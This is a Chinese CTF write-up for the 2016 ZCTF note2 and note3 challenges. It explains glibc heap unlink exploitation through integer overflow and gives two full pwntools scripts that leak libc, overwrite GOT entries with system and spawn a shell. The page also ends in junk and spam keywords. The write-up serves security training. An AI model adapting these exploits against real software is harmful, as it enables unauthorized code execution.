<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    2016-zctf-note2,3 (unlink)

    zctf-note2

    考察知識點 整數溢出,unlink,堆結構

    unlink關鍵是偽造chunk的頭,fd, bk遵循相應的規則,在unlink的時候一般為向低地址合并,因此在低地址要進行偽造來滿足glibc的檢查。這樣就可以進行任意地址寫了
    空閑數據塊結構
    2016-zctf-note2,3 (unlink)
    已分配數據塊結構
    2016-zctf-note2,3 (unlink)
    unlink相關操作
    2016-zctf-note2,3 (unlink)
    核心思路
    釋放chunk1–>申請chunk1(覆蓋chunk2 Header)–>釋放chunk2,觸發unlink操作
    可以進行任意地址讀寫

    exp

    
    from pwn import *
    from LibcSearcher import *
    
    context.terminal = ["terminator", "-e"]
    
    sh = process("./zctf_note2")
    elf = ELF("./zctf_note2")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    ptr = 0x602120
    
    sh.recvuntil("name:")
    sh.sendline("gqy")
    sh.recvuntil("address:")
    sh.sendline("cafebabe")
    
    def new(length, content):
        sh.recvuntil("option--->>")
        sh.sendline("1")
        sh.recvuntil("128)")
        sh.sendline(str(length))
        sh.recvuntil("content:")
        sh.sendline(content)
    
    def show(index):
        sh.recvuntil("option--->>")
        sh.sendline("2")
        sh.recvuntil("note:")
        sh.sendline(str(index))
    
    def edit(index,content,choose):
        sh.recvuntil("option--->>")
        sh.sendline("3")
        sh.recvuntil("note:")
        sh.sendline(str(index))
        sh.recvuntil("append]")
        sh.sendline(str(choose))
        sh.recvuntil("TheNewContents:")
        sh.sendline(content)
    
    def delete(index):
        sh.recvuntil("option--->>")
        sh.sendline("4")
        sh.recvuntil("note:")
        sh.sendline(str(index))
    
    # --------- ow the chunk
    fake_fd = ptr - 0x18
    fake_bk = ptr - 0x10
    # 0x40 + 0x8 * 4 = 0x60, presize == 0x60
    content = b'A'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + b'B'*0x40 + p64(0x60)
    new(128,content) # chunk0
    #gdb.attach(sh)
    new(0,b'A'*8) # chunk1
    new(128,b'A'*16) # chunk2
    #gdb.attach(sh)
    delete(1)
    #gdb.attach(sh)
    content = b'a' * 16 + p64(0xa0) + p64(0x90)
    new(0, content)
    #gdb.attach(sh)
    delete(2)
    #gdb.attach(sh)
    # ------- leak to get shell
    atoi_got = elf.got['atoi']
    #log.success("atoi got:" + str(hex(atoi_got)))
    content = b'c'*0x18 + p64(atoi_got)
    edit(0,content,1);
    show(0)
    sh.recvuntil("is ")
    
    atoi_addr = u64(sh.recv(6).ljust(8,b'\x00'))
    log.success("atoi addr:"+str(hex(atoi_addr)))
    
    base = atoi_addr - libc.symbols['atoi']
    sys_addr = libc.symbols['system'] + base
    log.success("system is:" + str(hex(sys_addr)))
    #gdb.attach(sh)
    edit(0,p64(sys_addr),1)
    sh.recvuntil("option--->>")
    sh.sendline("/bin/sh\x00")
    
    sh.interactive()
    

    zctf-note3

    申請0,1,2,通過1溢出修改2,free(2)觸發unlink,修改數據實現指定地址寫
    思路和前一道題類似,也是整數溢出覆蓋下一個chunk的數值。在之前先偽造好了fd, bk,這樣在free(2)時出發unlink后,通過edit就可以修改地址指向的內容,將free函數的got改成puts.plt之后即可leak出puts的地址

    
    from pwn import *
    
    context.terminal = ["terminator", "-e"]
    
    sh = process("./zctf_2016_note3")
    elf = ELF("./zctf_2016_note3")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    puts_got = elf.got['puts']
    free_got = elf.got['free']
    puts_plt = elf.plt['puts']
    puts_offset = libc.symbols['puts']
    sys_offset = libc.symbols['system']
    
    ptr = 0x6020c8
    
    
    def new(length, content):
        sh.recvuntil("option--->>\n")
        sh.sendline("1")
        sh.recvuntil("1024)\n")
        sh.sendline(str(length))
        sh.recvuntil("content:\n")
        sh.sendline(content)
    
    def show(index):
        # nothing
        return 
    
    def edit(index,content):
        sh.recvuntil("option--->>\n")
        sh.sendline("3")
        sh.recvuntil("note:\n")
        sh.sendline(str(index))
        sh.recvuntil("content:\n")
        sh.sendline(content)
    
    def delete(index):
        sh.recvuntil("option--->>\n")
        sh.sendline("4")
        sh.recvuntil("note:\n")
        sh.sendline(str(index))
    
    fakefd = ptr - 0x18
    fakebk = ptr - 0x10
    content = p64(0xcafebabe) + p64(0xa1) + p64(fakefd) + p64(fakebk) + b'a'*0x60
    new(0x80,content)
    new(0,b'a'*8)
    new(0x80,b'b'*8)
    #gdb.attach(sh)
    
    # construct fake chunk
    delete(1)
    content = b'A'*0x10 + p64(0xa0) + p64(0x90)
    new(0,content)
    #gdb.attach(sh)
    delete(2)
    #gdb.attach(sh)
    print("free got " + hex(free_got))
    print("puts got " + hex(puts_got))
    print("puts plt " + hex(puts_plt))
    
    # leak
    payload1 = b'E'*0x18 + p64(free_got) + p64(puts_got)
    edit(0,payload1) # curr chunk 0x6020c8-0x18
    #gdb.attach(sh)
    edit(0,p64(puts_plt)[:-1]) # curr chunk ptr[0]
    #gdb.attach(sh)
    delete(1)
    puts_addr = u64(sh.recv(6).ljust(8,b'\x00'))
    print("puts addr " + hex(puts_addr))
    libc_base = puts_addr - puts_offset
    sys_addr = libc_base + sys_offset
    
    
    # get shell
    new(0,"/bin/sh")
    edit(0,p64(sys_addr)[:-1])
    delete(1)
    
    sh.interactive()

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类